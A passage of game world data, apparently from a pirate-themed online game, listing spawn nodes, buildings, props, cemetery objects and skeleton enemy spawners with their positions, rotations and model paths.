'VisSize': '', 'Visual': {'Color': (0.5, 0.5, 0.5, 1), 'Model': 'models/misc/smiley'}}, '1176168576.0dxschafe7': {'Type': 'Player Spawn Node', 'Hpr': VBase3(38.242, 0.0, 0.0), 'Index': -1, 'Pos': Point3(614.181, 62.597, 54.743), 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'All', 'Visual': {'Color': (0.5, 0.5, 0.5, 1), 'Model': 'models/misc/smiley'}}, '1176168704.0dxschafe': {'Type': 'Player Spawn Node', 'Hpr': VBase3(32.702, 0.0, 0.0), 'Index': -1, 'Pos': Point3(667.837, 5.777, 52.335), 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'All', 'Visual': {'Color': (0.5, 0.5, 0.5, 1), 'Model': 'models/misc/smiley'}}, '1176168704.0dxschafe0': {'Type': 'Player Spawn Node', 'Hpr': VBase3(67.521, 0.0, 0.0), 'Index': -1, 'Pos': Point3(810.214, 57.867, 52.174), 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'All', 'Visual': {'Color': (0.5, 0.5, 0.5, 1), 'Model': 'models/misc/smiley'}}, '1176168704.0dxschafe1': {'Type': 'Player Spawn Node', 'Hpr': VBase3(35.299, 0.0, 0.0), 'Index': -1, 'Pos': Point3(524.433, 140.859, 65.087), 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'All', 'Visual': {'Color': (0.5, 0.5, 0.5, 1), 'Model': 'models/misc/smiley'}}, '1176168704.0dxschafe2': {'Type': 'Player Spawn Node', 'Hpr': VBase3(106.699, 0.0, 0.0), 'Index': -1, 'Pos': Point3(710.482, 130.623, 52.064), 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'All', 'Visual': {'Color': (0.5, 0.5, 0.5, 1), 'Model': 'models/misc/smiley'}}, '1176168704.0dxschafe3': {'Type': 'Player Spawn Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Index': -1, 'Pos': Point3(509.395, 32.519, 67.065), 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'All', 'Visual': {'Color': (0.5, 0.5, 0.5, 1), 'Model': 'models/misc/smiley'}}, '1176168704.0dxschafe4': {'Type': 'Player Spawn Node', 'Hpr': VBase3(-140.412, 0.0, 0.0), 'Index': -1, 'Pos': Point3(483.072, 209.599, 67.952), 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'All', 'Visual': {'Color': (0.5, 0.5, 0.5, 1), 'Model': 'models/misc/smiley'}}, '1177008640.0dxschafe': {'Type': 'Building Exterior', 'File': '', 'ExtUid': '1177008640.0dxschafe0', 'Holiday': '', 'Hpr': VBase3(178.02, 0.0, -5.578), 'Objects': {'1219277480.27mtucker': {'Type': 'Door Locator Node', 'Name': 'door_locator', 'Hpr': VBase3(-180.0, 0.0, 0.0), 'Pos': Point3(0.424, -5.194, 1.006), 'Scale': VBase3(1.0, 1.0, 1.0)}, '1219277480.29mtucker': {'Type': 'Door Locator Node', 'Name': 'door_locator_2', 'Hpr': VBase3(0.0, 0.0, 0.0), 'Pos': Point3(6.661, 20.924, 1.096), 'Scale': VBase3(1.0, 1.0, 1.0)}}, 'Pos': Point3(595.174, -47.98, 57.19), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Name': '', 'Color': (0.47, 0.53, 0.5176470588235295, 1.0), 'Door': 'models/buildings/shanty_guildhall_door', 'Interior': 'models/buildings/interior_shanty_guildhall', 'Model': 'models/buildings/shanty_npc_house_combo_B', 'SignFrame': '', 'SignImage': 'models/buildings/sign1_eng_a_icon_blacksmith'}}, '1177008640.0dxschafe1': {'Type': 'Barrel', 'DisableCollision': False, 'Hpr': VBase3(0.0, 0.0, 5.658), 'Pos': Point3(570.307, -42.877, 59.752), 'Scale': VBase3(0.783, 0.783, 0.783), 'Visual': {'Color': (0.56, 0.53, 0.43529411764705883, 1.0), 'Model': 'models/props/barrel_group_2'}}, '1177008640.0dxschafe2': {'Type': 'Searchable Container', 'Aggro Radius': '5.0000', 'Hpr': VBase3(0.0, 0.0, 3.909), 'Pos': Point3(576.735, -38.104, 59.338), 'Scale': VBase3(0.707, 0.707, 0.707), 'VisSize': '', 'Visual': {'Color': (0.52, 0.49, 0.35294117647058826, 1.0), 'Model': 'models/props/barrel'}, 'searchTime': '6.0', 'type': 'Barrel'}, '1177008768.0dxschafe': {'Type': 'Bush', 'DisableCollision': False, 'Hpr': VBase3(105.564, 0.0, 0.0), 'Pos': Point3(589.236, -42.386, 57.284), 'Scale': VBase3(0.711, 0.711, 0.711), 'Visual': {'Color': (0.6000000238418579, 0.6000000238418579, 0.6000000238418579, 1.0), 'Model': 'models/vegetation/bush_f'}}, '1177008896.0dxschafe': {'Type': 'Searchable Container', 'Aggro Radius': 5.0, 'Hpr': VBase3(0.0, 0.0, 4.893), 'Pos': Point3(621.098, -27.305, 53.957), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.5, 0.5, 0.5, 1.0), 'Model': 'models/props/wellA'}, 'searchTime': '6.0', 'type': 'WellA'}, '1177009024.0dxschafe': {'Type': 'Grass', 'DisableCollision': False, 'Hpr': VBase3(176.328, 0.298, -4.636), 'Pos': Point3(621.626, -23.54, 53.044), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.699999988079071, 0.699999988079071, 0.699999988079071, 1.0), 'Model': 'models/vegetation/grass_3feet'}}, '1177009024.0dxschafe0': {'Type': 'Grass', 'DisableCollision': False, 'Hpr': VBase3(-162.736, -1.381, -4.436), 'Pos': Point3(586.099, -40.061, 58.031), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.6000000238418579, 0.6000000238418579, 0.6000000238418579, 1.0), 'Model': 'models/vegetation/grass_3feet'}}, '1177009152.0dxschafe': {'Type': 'Grass', 'DisableCollision': False, 'Hpr': VBase3(168.473, 0.93, -4.551), 'Pos': Point3(605.687, -45.992, 55.822), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.699999988079071, 0.699999988079071, 0.699999988079071, 1.0), 'Model': 'models/vegetation/grass_3feet'}}, '1178681020.97kmuller': {'Type': 'Bush', 'DisableCollision': False, 'Hpr': VBase3(46.96, 41.05, -22.42), 'Pos': Point3(16.33, 254.797, 46.86), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/vegetation/bush_i'}}, '1178681025.89kmuller': {'Type': 'Bush', 'DisableCollision': False, 'Hpr': VBase3(0.0, 51.894, 0.0), 'Pos': Point3(24.752, 255.026, 49.259), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/vegetation/bush_i'}}, '1178681031.47kmuller': {'Type': 'Bush', 'DisableCollision': False, 'Hpr': VBase3(6.536, 0.0, 12.729), 'Pos': Point3(2.531, 252.514, 53.183), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/vegetation/bush_a'}}, '1178681044.38kmuller': {'Type': 'Rock', 'DisableCollision': False, 'Hpr': VBase3(79.77, -65.612, 90.0), 'Pos': Point3(24.414, 251.111, 30.358), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/rock_caveA_floor'}}, '1178681049.75kmuller': {'Type': 'Rock', 'DisableCollision': False, 'Hpr': VBase3(95.332, -2.39, -172.01), 'Pos': Point3(25.641, 258.083, 58.994), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/rock_caveB_sphere'}}, '1179333564.3Aholdun': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(56.448, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': 100, 'Pause Duration': 30, 'Pos': Point3(121.007, 141.485, 20.962), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T2', 'Start State': 'Ambush', 'StartFrame': '0', 'Team': 'default', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1179333651.86Aholdun': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(160.529, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': '100', 'Pause Duration': '30', 'Pos': Point3(176.698, 185.87, 35.433), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T2', 'Start State': 'Patrol', 'StartFrame': '0', 'Team': 'default', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1179333670.7Aholdun': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(-3.24, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': 100, 'Pause Duration': 30, 'Pos': Point3(59.256, 124.007, 7.382), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T2', 'Start State': 'Idle', 'StartFrame': '0', 'Team': 'default', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1179333814.72Aholdun': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(60.602, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': '100', 'Pause Duration': '30', 'Pos': Point3(191.269, 40.124, 39.527), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T2', 'Start State': 'Patrol', 'StartFrame': '0', 'Team': 'default', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1179336066.55Aholdun': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(79.695, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': '100', 'Pause Duration': '30', 'Pos': Point3(100.106, 58.322, 15.678), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T2', 'Start State': 'Patrol', 'StartFrame': '0', 'Team': 'default', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1187321856.0dxschafe': {'Type': 'Collision Barrier', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(52.849, 0.0, 0.0), 'Pos': Point3(224.89, 253.092, 44.855), 'Scale': VBase3(1.0, 1.0, 1.637), 'VisSize': '', 'Visual': {'Model': 'models/misc/pir_m_prp_lev_cambarrier_plane'}}, '1188498358.66kmuller': {'Type': 'Bush', 'DisableCollision': False, 'Hpr': VBase3(-18.893, 35.722, 30.378), 'Pos': Point3(59.772, 261.115, 43.983), 'Scale': VBase3(1.105, 1.105, 1.105), 'Visual': {'Model': 'models/vegetation/bush_i'}}, '1188498393.79kmuller': {'Type': 'Bush', 'DisableCollision': False, 'Hpr': VBase3(0.0, 8.206, 0.0), 'Pos': Point3(74.684, 251.811, 23.618), 'Scale': VBase3(1.0, 1.0, 1.467), 'Visual': {'Model': 'models/vegetation/bush_a'}}, '1188505728.0dxschafe0': {'Type': 'Cemetary', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(56.612, 0.464, -8.633), 'Objects': {}, 'Pos': Point3(196.103, 233.874, 40.076), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Model': 'models/props/pir_m_prp_cem_headstones_a'}}, '1188505728.0dxschafe1': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(38.395, 8.004, 17.713), 'Pos': Point3(9.958, 0.853, -1.454), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1188505728.0dxschafe10': {'Type': 'Cemetary', 'DisableCollision': False, 'Hpr': VBase3(-12.602, 1.384, -0.029), 'Objects': {}, 'Pos': Point3(811.594, 161.437, 52.373), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/pir_m_prp_cem_headstones_a'}}, '1188505728.0dxschafe11': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(38.395, 8.004, 17.713), 'Pos': Point3(9.958, 0.853, -1.454), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1188505728.0dxschafe12': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(35.652, 0.0, 0.0), 'Pos': Point3(775.217, 158.782, 51.584), 'Scale': VBase3(0.599, 0.599, 0.599), 'Visual': {'Model': 'models/vegetation/jungle_plant_a'}}, '1188505728.0dxschafe13': {'Type': 'Cemetary', 'DisableCollision': False, 'Hpr': VBase3(-27.581, 5.91, -0.274), 'Pos': Point3(788.353, 146.507, 53.917), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/pir_m_prp_cem_headstones_c'}}, '1188505728.0dxschafe14': {'Type': 'Cemetary', 'DisableCollision': False, 'Hpr': VBase3(-28.42, 2.301, 4.039), 'Pos': Point3(819.835, 145.721, 52.284), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.5, 0.5, 0.5, 1.0), 'Model': 'models/props/pir_m_prp_cem_headstones_b'}}, '1188505728.0dxschafe15': {'Type': 'Cemetary', 'DisableCollision': False, 'Hpr': VBase3(144.238, -1.284, -0.517), 'Objects': {}, 'Pos': Point3(817.971, 128.052, 52.437), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/pir_m_prp_cem_headstones_a'}}, '1188505728.0dxschafe16': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(38.395, 8.004, 17.713), 'Pos': Point3(9.958, 0.853, -1.454), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1188505728.0dxschafe17': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(35.652, 0.0, 0.0), 'Pos': Point3(800.291, 131.204, 51.631), 'Scale': VBase3(0.599, 0.599, 0.599), 'Visual': {'Model': 'models/vegetation/jungle_plant_a'}}, '1188505728.0dxschafe18': {'Type': 'Cemetary', 'DisableCollision': False, 'Hpr': VBase3(151.046, -5.915, 0.133), 'Pos': Point3(839.917, 112.467, 52.118), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/pir_m_prp_cem_headstones_d'}}, '1188505728.0dxschafe19': {'Type': 'Cemetary', 'DisableCollision': False, 'Hpr': VBase3(-34.875, 2.785, -1.473), 'Pos': Point3(840.341, 139.653, 52.825), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.5, 0.5, 0.5, 1.0), 'Model': 'models/props/crypt1'}}, '1188505728.0dxschafe2': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(35.652, 0.0, 0.0), 'Pos': Point3(179.854, 256.513, 35.379), 'Scale': VBase3(0.599, 0.599, 0.599), 'Visual': {'Model': 'models/vegetation/jungle_plant_a'}}, '1188505728.0dxschafe3': {'Type': 'Cemetary', 'DisableCollision': False, 'Hpr': VBase3(13.563, 4.277, -9.202), 'Pos': Point3(178.021, 214.868, 35.986), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/pir_m_prp_cem_headstones_d'}}, '1188505728.0dxschafe4': {'Type': 'Cemetary', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(36.874, -1.054, -8.788), 'Pos': Point3(164.288, 216.244, 31.899), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.5, 0.5, 0.5, 1.0), 'Model': 'models/props/pir_m_prp_cem_headstones_b'}}, '1188505728.0dxschafe5': {'Type': 'Cemetary', 'DisableCollision': False, 'Hpr': VBase3(-177.897, -1.331, 0.38), 'Objects': {}, 'Pos': Point3(795.421, 170.764, 52.435), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.5, 0.5, 0.5, 1.0), 'Model': 'models/props/crypt2'}}, '1188505728.0dxschafe6': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(38.395, 8.004, 17.713), 'Pos': Point3(9.958, 0.853, -1.454), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1188505728.0dxschafe7': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(35.652, 0.0, 0.0), 'Pos': Point3(487.497, 59.038, 68.126), 'Scale': VBase3(0.599, 0.599, 0.599), 'Visual': {'Model': 'models/vegetation/jungle_plant_a'}}, '1188505728.0dxschafe8': {'Type': 'Cemetary', 'DisableCollision': False, 'Hpr': VBase3(-25.624, 5.897, -0.475), 'Pos': Point3(772.505, 148.36, 53.875), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/pir_m_prp_cem_headstones_d'}}, '1188505728.0dxschafe9': {'Type': 'Cemetary', 'DisableCollision': False, 'Hpr': VBase3(-33.83, 1.187, -4.505), 'Objects': {}, 'Pos': Point3(755.925, 173.393, 51.632), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.5, 0.5, 0.5, 1.0), 'Model': 'models/props/pir_m_prp_cem_headstones_b'}}, '1188510208.0dxschafe': {'Type': 'Cemetary', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(-30.534, 1.326, 0.398), 'Objects': {}, 'Pos': Point3(773.889, 175.047, 52.098), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.5, 0.5, 0.5, 1.0), 'Model': 'models/props/crypt1'}}, '1188510208.0dxschafe0': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(118.82, -0.619, -8.217), 'Pos': Point3(10.159, 20.438, 1.4), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1188510720.0dxschafe': {'Type': 'Cemetary', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(35.699, 0.884, -3.984), 'Objects': {}, 'Pos': Point3(216.404, 249.202, 44.585), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Model': 'models/props/crypt1'}}, '1188510720.0dxschafe0': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(38.395, 8.004, 17.713), 'Pos': Point3(8.609, 2.686, -0.876), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1188510848.0dxschafe': {'Type': 'Cemetary', 'DisableCollision': False, 'Hpr': VBase3(35.699, 0.884, -5.694), 'Objects': {}, 'Pos': Point3(234.857, 293.298, 47.182), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.6000000238418579, 0.6000000238418579, 0.6000000238418579, 1.0), 'Model': 'models/props/crypt2'}}, '1188510848.0dxschafe0': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(38.395, 8.004, 11.728), 'Pos': Point3(8.609, 2.686, -0.876), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1188510848.0dxschafe1': {'Type': 'Cemetary', 'DisableCollision': False, 'Hpr': VBase3(6.504, 1.298, -3.456), 'Objects': {}, 'Pos': Point3(373.436, 238.32, 58.279), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/pir_m_prp_cem_headstones_a'}}, '1188510848.0dxschafe2': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(38.395, 8.004, 17.713), 'Pos': Point3(9.958, 0.853, -1.454), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1188510976.0dxschafe': {'Type': 'Cemetary', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(-176.307, 0.607, 5.611), 'Objects': {}, 'Pos': Point3(350.365, 235.801, 56.502), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Model': 'models/props/pir_m_prp_cem_headstones_b'}}, '1188510976.0dxschafe0': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(38.395, 8.004, 17.713), 'Pos': Point3(10.348, 1.18, 0.156), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1190077312.0dxschafe': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'gp_moaning', 'AuraFX': 'None', 'Hpr': VBase3(-148.513, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': 100, 'Pause Duration': 30, 'Pos': Point3(761.524, 83.167, 52.141), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T3', 'Start State': 'Idle', 'StartFrame': '0', 'Team': '1', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1190077440.0dxschafe': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(-148.513, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '12.0000', 'Pause Chance': '100', 'Pause Duration': '30', 'Pos': Point3(655.619, 47.647, 52.254), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T3', 'Start State': 'Idle', 'StartFrame': '0', 'Team': '1', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1190077440.0dxschafe0': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'gp_searching', 'AuraFX': 'None', 'Hpr': VBase3(45.189, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '6.3795', 'Pause Chance': 100, 'Pause Duration': 30, 'Pos': Point3(356.706, 238.682, 57.062), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T2', 'Start State': 'Idle', 'StartFrame': '0', 'Team': '1', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1190077568.0dxschafe': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(45.826, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '6.3795', 'Pause Chance': '100', 'Pause Duration': '30', 'Pos': Point3(459.727, 254.731, 65.86), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T2', 'Start State': 'Idle', 'StartFrame': '0', 'Team': '1', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1190077568.0dxschafe0': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'gp_handdig', 'AuraFX': 'None', 'Hpr': VBase3(114.385, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '6.3795', 'Pause Chance': 100, 'Pause Duration': 30, 'Pos': Point3(196.847, 225.605, 40.65), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T2', 'Start State': 'Patrol', 'StartFrame': '0', 'Team': '1', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1190419072.0dxschafe': {'Type': 'Cemetary', 'DisableCollision': False, 'Holiday': '', 'Hpr': VBase3(6.504, 1.298, -3.456), 'Objects': {}, 'Pos': Point3(365.502, 248.103, 57.797), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Model': 'models/props/pir_m_prp_cem_headstones_c'}}, '1190419072.0dxschafe0': {'Type': 'Jungle_Props', 'DisableCollision': False, 'Hpr': VBase3(38.395, 8.004, 17.713), 'Pos': Point3(9.958, 0.853, -1.454), 'Scale': VBase3(0.791, 0.791, 0.791), 'Visual': {'Model': 'models/vegetation/jungle_fern_b'}}, '1190419328.0dxschafe': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(45.826, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '6.3795', 'Pause Chance': '100', 'Pause Duration': '30', 'Pos': Point3(570.651, 73.221, 59.815), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T3', 'Start State': 'Idle', 'StartFrame': '0', 'Team': '1', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1190419328.0dxschafe0': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(-30.881, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '6.3795', 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(494.728, 124.295, 68.597), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T2', 'Start State': 'Idle', 'StartFrame': '0', 'Team': '1', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1190419328.0dxschafe1': {'Type': 'Spawn Node', 'Aggro Radius': '12.0000', 'AnimSet': 'default', 'AuraFX': 'None', 'Hpr': VBase3(-65.928, 0.0, 0.0), 'Min Population': '1', 'Patrol Radius': '6.3795', 'Pause Chance': '100', 'Pause Duration': '30', 'Pos': Point3(723.649, -10.566, 52.347), 'PoseAnim': '', 'PoseFrame': '', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Scale': VBase3(1.0, 1.0, 1.0), 'Spawnables': 'Skel T3', 'Start State': 'Idle', 'StartFrame': '0', 'Team': '1', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'VisSize': '', 'Visual': {'Color': (0, 0, 0.65, 1), 'Model': 'models/misc/smiley'}}, '1192835404.89dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(119.4, 18.814, 20.799), 'Scale': VBase3(1.0, 1.0, 1.0), 'VisSize': '', 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192835419.73dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause Duration': '5', 'Pos': Point3(39.678, 95.147, 5.391), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.65, 0, 0, 1), 'Model': 'models/misc/smiley'}}, '1192835481.48dxschafe': {'Type': 'Movement Node', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pause Chance': '0', 'Pause 